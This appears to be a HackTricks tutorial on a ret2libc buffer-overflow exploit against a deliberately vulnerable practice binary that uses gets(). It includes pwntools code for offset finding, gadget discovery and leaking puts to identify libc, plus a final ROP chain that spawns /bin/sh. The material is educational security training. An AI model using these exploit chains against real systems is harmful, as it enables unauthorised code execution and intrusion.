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# Quick Resume

1. **Find** overflow **offset**
2. **Find** `POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
4. With the library, **calculate the ROP and exploit it**

# Other tutorials and binaries to practice

This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)

# Code

Filename: `vuln.c`

```c
#include <stdio.h>

int main() {
    char buffer[32];
    puts("Simple ROP.\n");
    gets(buffer);

    return 0;
}
```

```bash
gcc -o vuln vuln.c -fno-stack-protector  -no-pie
```

# ROP - Leaking LIBC template

I'm going to use the code located here to make the exploit.\
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:

{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}

# 1- Finding the offset

The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):

```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
    gdb.attach(p.pid, "c") #Attach and continue
    payload = cyclic(1000)
    print(r.clean())
    r.sendline(payload)
    #x/wx $rsp -- Search for bytes that crashed the application
    #cyclic_find(0x6161616b) # Find the offset of those bytes
    return
```

**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:

```python
from pwn import *
cyclic_find(0x6161616b)
```

![](<../../../.gitbook/assets/image (140).png>)

After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
`OFFSET = "A" * 40`

Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.

# 2- Finding Gadgets

Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.

```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
```

The `PUTS_PLT` is needed to call the **function puts**.\
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
The **POP\_RDI** is needed to **pass** a **parameter** to the called function.

In this step you don't need to execute anything as everything will be found by pwntools during the execution.

# 3- Finding LIBC library

Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.

```python
def get_addr(func_name):
    FUNC_GOT = elf.got[func_name]
    log.info(func_name + " GOT @ " + hex(FUNC_GOT))
    # Create rop chain
    rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

    #Send our rop-chain payload
    #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
    print(p.clean()) # clean socket buffer (read all and print)
    p.sendline(rop1)

    #Parse leaked address
    recieved = p.recvline().strip()
    leak = u64(recieved.ljust(8, "\x00"))
    log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
    #If not libc yet, stop here
    if libc != "":
        libc.address = leak - libc.symbols[func_name] #Save libc base
        log.info("libc base @ %s" % hex(libc.address))
    
    return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
    print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
    p.interactive()
```

To do so, the most important line of the executed code is:

```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```

This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
Finally, **main function is called again** so we can exploit the overflow again.

This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.

![](<../../../.gitbook/assets/image (141).png>)

As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
But, in a remote exploit case I will explain here how can you find it:

## 3.1- Searching for libc version (1)

You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
It will also allow you to download the discovered version of **libc**

![](<../../../.gitbook/assets/image (142).png>)

## 3.2- Searching for libc version (2)

You can also do:

* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
* `$ ./get`

This will take some time, be patient.\
For this to work we need:

* Libc symbol name: `puts`
* Leaked libc adddress: `0x7ff629878690`

We can figure out which **libc** that is most likely used.

```
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```

We get 2 matches (you should try the second one if the first one is not working). Download the first one:

```
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
  -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
  -> Downloading package
  -> Extracting package
  -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```

Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.

## 3.3- Other functions to leak

```python
puts
printf
__libc_start_main
read
gets
```

# 4- Finding based libc address & exploiting

At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`

So, at the begging of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`

Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.

Inside the `get_addr`function the **base address of libc** is going to be calculated:

```python
if libc != "":
    libc.address = leak - libc.symbols[func_name] #Save libc base
    log.info("libc base @ %s" % hex(libc.address))
```

{% hint style="info" %}
Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
{% endhint %}

Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**

```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```

Finally, the /bin/sh execution exploit is going to be prepared sent:

```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction
```

Let's explain this final ROP.\
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.

**This way the exploit will execute a **_**/bin/sh**_** shell.**

![](<../../../.gitbook/assets/image (143).png>)

# 4(2)- Using ONE\_GADGET

You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**. \
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.

![](<../../../.gitbook/assets/image (615).png>)

```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```

# EXPLOIT FILE

You can find a template to exploit this vulnerability here:

{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}

# Common problems

## MAIN\_PLT = elf.symbols\['main'] not found

If the "main" symbol does not exist. Then you can just where is the main code:

```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```

and set the address manually:

```python
MAIN_PLT = 0x401080
```

## Puts not found

If the binary is not using Puts you should check if it is using

## `sh: 1: %s%s%s%s%s%s%s%s: not found`

If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`

Try to **subtract 64 bytes to the address of "/bin/sh"**:

```python
BINSH = next(libc.search("/bin/sh")) - 64
```


<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>